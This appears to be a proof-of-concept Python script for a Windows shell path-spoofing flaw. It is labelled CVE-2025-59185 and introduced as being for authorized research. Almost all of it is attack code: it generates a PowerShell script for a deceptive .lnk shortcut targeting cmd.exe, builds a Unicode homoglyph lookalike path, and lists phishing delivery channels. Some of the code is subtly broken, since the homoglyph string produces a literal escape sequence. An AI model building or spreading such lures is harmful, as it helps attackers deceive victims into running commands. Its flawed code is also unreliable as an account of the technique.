The following code is for security research and authorized testing only.
python
# CVE-2025-59185 - Windows Core Shell Path Spoofing PoC
# This PoC demonstrates the concept of exploiting the path validation
# weakness in Windows Core Shell to perform spoofing attacks.
import os
import subprocess
def create_malicious_lnk(target_path, display_path):
"""
Create a malicious Windows shortcut (.lnk) file that exploits
the path spoofing vulnerability in Windows Core Shell.
Args:
target_path: The actual malicious path to execute
display_path: The spoofed path to display to the user
"""
# PowerShell script to create a shortcut with spoofed path
ps_script = f'''
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\\Temp\\malicious.lnk")
$Shortcut.TargetPath = "{target_path}"
$Shortcut.WorkingDirectory = "{display_path}"
$Shortcut.WindowStyle = 1
$Shortcut.IconLocation = "%SystemRoot%\\System32\\shell32.dll,3"
$Shortcut.Description = "Important System Document"
$Shortcut.Save()
'''
return ps_script
def create_path_spoofing_payload():
"""
Generate a payload that exploits Unicode homoglyph characters
to create visually identical but functionally different paths.
"""
# Example: Using Cyrillic 'а' (U+0430) instead of Latin 'a'
legitimate_path = "C:\\Users\\Admin\\Documents\\report.pdf"
spoofed_path = "C:\\Users\\\\u0430dmin\\Documents\\report.pdf"
payload = {
"legitimate_display": legitimate_path,
"actual_target": spoofed_path,
"technique": "Unicode Homoglyph Substitution",
"impact": "User believes they are accessing legitimate file"
}
return payload
def network_delivery_simulation():
"""
Simulate network-based delivery of the malicious payload.
In a real scenario, this would be delivered via:
- Phishing emails with attachments
- Malicious web pages
- Instant messaging
"""
delivery_methods = [
"Email attachment (LNK file)",
"Downloaded from compromised website",
"Shared via instant messaging",
"Embedded in Office document"
]
return delivery_methods
# Main execution
if __name__ == "__main__":
print("CVE-2025-59185 PoC - Windows Core Shell Path Spoofing")
print("=" * 60)
# Step 1: Create the malicious payload
payload = create_path_spoofing_payload()
print(f"\n[+] Payload created:")
print(f" Display path: {payload['legitimate_display']}")
print(f" Actual target: {payload['actual_target']}")
# Step 2: Generate LNK creation script
lnk_script = create_malicious_lnk(
"C:\\Windows\\System32\\cmd.exe",
"C:\\Users\\Admin\\Documents"
)
print(f"\n[+] LNK creation script generated")
# Step 3: Show delivery methods
methods = network_delivery_simulation()
print(f"\n[+] Possible delivery methods:")
for m in methods:
print(f" - {m}")
print("\n[!] Note: This is a conceptual PoC for educational purposes.")
print("[!] Actual exploitation requires delivery to a victim system.")